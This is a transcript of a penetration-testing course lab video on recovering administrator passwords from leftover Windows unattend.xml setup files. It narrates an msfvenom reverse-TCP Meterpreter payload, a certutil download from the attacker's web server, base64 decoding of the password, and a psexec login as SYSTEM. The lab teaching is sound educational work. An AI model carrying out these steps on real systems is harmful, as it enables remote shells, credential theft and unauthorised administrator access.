[MUSIC PLAYING]
Searching for passwords in Windows Configuration Files.
All right, so this is the first technique
that we're going to be exploring within this section.
And it will involve searching for and identifying
user credentials that have been stored in Windows Configuration
Files.
The key thing to note here is we're not really
looking for passwords that are being
stored in configuration files of third party applications.
We're primarily interested in Windows Configuration Files.
And in this particular case, we are
going to be exploring the process of searching
for and identifying user credentials or passwords that
have been stored in the unattended Windows Setup
Utility Configuration Files.
So Windows can automate a variety of repetitive tasks,
such as the mass rollout or installation of Windows
on many systems or multiple systems.
So if you've ever been a system administrator before,
and you've been tasked with installing Windows
on more than two systems, maybe 10 or 15,
this can be quite tedious in regards
to configuring each of these systems based on the company's
security policy or based on the configurations
that you'd like to implement on these Windows systems.
Now, this process can be automated
through the use of an unattended Windows Setup Utility, which
again is used to automate the mass installation or deployment
of Windows on multiple systems.
So this tool utilizes configuration files
that contain specific configurations and user account
credentials, specifically the administrator's account
password.
So if I wanted to automate the process of installing
or deploying Windows on more than two or five systems
automatically, I can use the unattended Windows Setup
Utility.
Now the unattended Windows Setup Utility
requires configuration files that
will contain the specifics of the configuration
or the different configurations that you'd
like to perform on the Windows systems
that you're essentially installing or mass installing.
And one of these configurations is
going to be the administrator password.
So within this these configuration files,
you can specify the administrator's password
that you want configured on these Windows systems,
as well as any other user account username and password
that you'd like to create during the installation process.
So if the unattended Window Setup configuration files
are left on the target systems after installation,
they can reveal user account credentials
that can be used by attackers to authenticate with the Windows
target legitimately.
So after you utilize the unattended Windows Setup
Utility to install Windows on more than one system,
you actually need to manually go to each of these systems
and delete these configuration files.
Because if they're left over, then if an attacker gains
access to a system, they can find these files
and find the credentials within them
and utilize these credentials to either elevate their privileges
to an administrator account or to utilize
these credentials to legitimately authenticate
with the system whenever they want.
And of course, this is very important,
because then an attacker will not
need to exploit a service in order to gain access again.
They can simply use the credentials and gain
access via PsExec or via RDP, et cetera, et cetera.
So in terms of the unattended Windows Setup Utility,
the utility will typically utilize
one of the following configuration
files that contains user account and system configuration
information.
And it can be found within the following directories
on a Windows system now this will depend on
the version of Windows that was installed,
as well as the configuration itself.
So you'll typically find the unattended.xml configuration
file within the Windows directory under the C drive
under a directory called Panther, and then the file,
it will either be just within that directory
or it will be under a subdirectory called unattend.
So you're typically going to be looking
for the unattend.xml file.
You will also find it under Windows Panther
Autounattend.xml in some cases.
But you will typically find it--
or the name of the file will typically be unattend.xml.
Now as a security precaution, the password
stored in the unattended Windows Setup Configuration file
may be encoded in base64, which really isn't
a deterrent for an attacker.
Because you can easily decode the base64 encoded password.
And again, I just wanted to make that as clear as possible,
so that you understand that even if you
find a password within the unattend.xml file,
it might be encoded in base64.
So it's always recommended to try and decode it,
and then you lays it for authentication
with the Windows target.
All right, so the lab environment
attached to this video has been set up
to demonstrate this particular vulnerability
or how this vulnerability can be exploited.
And all you need to do is just fire up the lab environment,
and we can get started.
So I'll see you within the lab environment.
All right, so I'm back within the lab environment.
And this lab environment will provide you with the target IP
address right over here.
However, in order to gain access to it,
you will be provided with the attacker
machine or the victim's system that you're
going to be attacking.
So it provides you with access to the Windows target
that we will be essentially exploiting.
So you can utilize the session on the attacker system
or either the victim system in order
to perform the techniques that I'm about to highlight.
So you can manually look for the unattend.xml file yourself.
However, we are going to be following the typical approach
of an attacker.
So we are going to gain initial access to this target system
and obtain an Meterpreter session.
After which, we will then use our Meterpreter session
to find the unattend.xml file, identify the password,
and then decode it with the base64 utility,
and then authenticate with the target via PsExec.
All right, so once again, you can
utilize the access that has been given to you on the victim
system if you want.
What we're going to do firstly is
I'll just switch back to my Kali machine right over here.
And in order to gain access to the target system,
I'm just going to generate a Meterpreter
payload with MSFvenom.
So I'm just going to open up a terminal.
And within the current directory,
I'm just going to say MSFvenom.
And because the target system is running
a 64-bit version of Windows Server,
you can see it's Windows Server here.
And we currently have access to an unprivileged user.
So if I can search for CMD here, let me just
confirm that is the case.
It's just taking a few seconds, because this
is running in the cloud.
So I'll just search for CMD.
And we should be able to open up CMD there.
We also have a net user.
You can see, we're currently utilizing the student account
right of here, which is an unprivileged user.
So I can say whoami and privs.
And sorry, that is whoami/priv.
There we are.
You can see these are our privileges right over here.
And this user is really not a privileged account at all.
So what I'll do is I'll go back to my Kali machine,
and we'll generate a payload for--
we'll generate a Meterpreter payload.
And in this case, we'll say this is an x64, 64-bit Meterpreter
payload, so there we are.
Windows x64 interpreter, and we'll use a staged payload,
so reverse TCP.
I'll then need to specify my Kali Linux IP address.
So I'll open up a new tab, and I'll say ifconfig.
Let me type that in correctly.
And I'm looking for the IP address attached
to the interface ethernet1.
And of course in your case, that's going to be different.
And I'll specify that there and the LPORT we
will use in this case is 1234.
And the format is exe, and we will output that
into a file called payload.exe.
So I'll hit enter and MSFvenom will
generate the payload for me.
So we'll give that a couple of seconds.
All right, there we are, so it's generated.
I'm now going to set up a simple web server
to host the payload.exe file with the python module simple
HTTP server.
So I'll say python-m SimpleHTTPServer.
And I'll host it on port 80 or run it on port 80.
So we can now download the payload.exe file
onto the target system by accessing the Kali Linux IP
address or the web server that's being hosted on the Kali Linux
system on port 80.
And the name of the file is payload.exe.
So how do we transfer it over to the victim system
or to the target system?
Well, we'll just open up our access on the victim system.
And we'll open up the CMD session here
or a command prompt, and let me just
zoom in so you can see what's going on here.
So I'll just go into properties and font.
And we should be able to get access to that.
There we are.
And I'll increase the font size to 24.
Fantastic.
So I'll navigate onto the desktop.
And of course, this is just for demonstration purposes.
Ideally, you would be gaining access
to this target system via an exploit
or by exploiting a vulnerability in a service.
I'll now utilize the certutil utility
to download the payload from the target.
So this is an in-built Windows Utility
that can be used to download files from a web server.
So I'll say certutil-urlcache.
And we're downloading a file.
I'll then specify the IP address of the web
server, which is running on the Kali Linux system.
So there we are.
That's the IP address of the Kali Linux system.
And the name of the file is payload.exe,
and I'll save it as payload.exe.
All right, so that completes successfully.
And if we check our desktop, we have the file
downloaded successfully.
Before we execute it, I'm just going to head back
into my Kali Linux system here.
And I'll shut down the web server,
and we'll start up MSFconsole and set up the multi/handler.
So I'll say service postgresql start and MSFconsole.
There we are.
Give that a couple of seconds to start up.
And of course, you can also create a Metasploit RC
script to automate the process of setting up the handler.
So we'll say use multi/handler.
And we'll set the payload to the one
we used when generating the payload with MSFvenom.
So payload is a windows/x64/meterpreter/reverse
tcp.
We'll then set the LPORT to the one
that we used when we were generating
the payload with MSFvenom.
In this case, it's 1234.
And then, we'll set the LHOST option to the Kali Linux IP.
There we are, and then I can hit run.
That's going to start the reverse TCP handler.
So now when I execute the payload on the target system
like so, I will get a Meterpreter session.
There we are, you can see Meterpreter session one open.
So I'll just clear up the terminal there.
And I can now say sysinfo.
You can see the target is running Windows Server 2016,
and we have a 64-bit Meterpreter payload.
So we can manually search for the unattend.xml file.
So again, if we utilize--
we can utilize the search utility,
the inbuilt Meterpreter search utility.
So I can say if I just type in search,
it'll provide you with a documentation regarding
how you can use this.
So we can search for-- we can say search.
And we are looking for file, and we
can say this is unattend.xml.
And let's see whether we're able to identify this way.
So we'll give this a couple of seconds.
And of course, it's much easier to do this manually.
But again, this is a technique that you can utilize.
Because we already know where this is likely to be stored,
we can just search for it manually.
So what we can do is just terminate that search.
And we can head over into the root of the C drive.
And on the Windows and on the Panther, which exists,
which means there is or there could
be the unattend.xml file on this system.
So if we type in dir, you can see
that we have the unattend.xml right over here.
And that looks like it has a bit of data.
So we can download this onto our system.
So I'm going to say download unattend.xml.
There we go.
And I'll just go into a new tab here.
And I currently have the file downloaded, so that we are.
And I can just cut out the content of unattend.xml.
And if we take a look at the configuration,
you can see it just contains information
pertinent to the installation of Windows.
So for example, you can see that user data.
The product key will show you why always.
And we're looking for the user credentials
here that have been set up for this particular Windows system.
And if we scroll right over here to the bottom,
you can see we have the AutoLogon configuration,
whereby the username has been configured
to administrator and the password right over here.
You can see the value there is encoded in base64.
And I'm able to deduce that because the plaintext option is
set to false.
So that is going to be encoded in base64.
So I can copy the password that has been encoded in base64
and I can create a new file here.
And I'll just call this password.txt.
And I'll use Vim and paste in the base64 encoded password.
And I'll write and quit.
And we can now utilize the base64 tool
that comes pre-packaged on Kali Linux, so base64.
And I can use the D option to decode that password.txt file.
There we are, and then I can output it into another file
or I can just hit enter.
And you can see we get the base64 decoded password.
In this case, the password for the administrator is Admin@123.
Fantastic!
So we've been able to obtain the administrator's credentials.
However, in some cases, you may find
that the administrator has changed the password
after installation.
So this may not be valid anymore.
However, in this case, we can test this out
through the use of the PsExec Python
script, which I've already covered
how to use in this course.
So we can say psexec.py.
And in order to utilize it, we can simply
say we want to log in as administrator.
And we specify the target IP.
So what I'll do here is we can just paste in the target IP
right over there.
And we can hit enter.
And I can then provide the password
that we were able to decode, which is admin@123.
Hit enter.
Looks like I've typed it in incorrectly.
So let me just cut out the contents of--
or we can just run the base64 command again.
Let me make sure I copy that correctly.
So I'll just copy that, then and we can run the psexec command
again.
And I'll paste in the password.
And it looks like we're not able to log in successfully.
Am I typing in--
yeah, I'm typing in the actual username
incorrectly, so administrator.
There we are.
Hit enter.
Paste that in there.
And we should get a command shell session, and we do.
So I can say whoami.
Nt authority system.
Fantastic.
So I've been able to gain access to the target system
by of course finding a legitimate administrator
password within a Windows configuration file,
more specifically the unattended set up utilities configuration
file.
So you can see that this is a huge vulnerability.
And it's something that you will actually find in the wild.
Because again, in networks that have a large amount of window
systems, the unattended set up utility is frequently used.
And in some cases, administrators
may actually forget to delete those configuration files.
And if that is the case, if an attacker is able to gain access
to the system even though they have unprivileged access,
they can still obtain the actual contents of that file
or download the file outrightly, and then
decode the actual password and authenticate with the target
legitimately through PsExec.
And of course, you can also utilize the PsExec Metasploit
module to obtain an Meterpreter session.
But in this case, I've just used the exact Python script
to do this manually.
So that is going to conclude the practical demonstration
side of this video.
In the next video, we will be exploring
the process of dumping NTLM hashes from memory
with Mimikatz.
So I'll see you in the next video.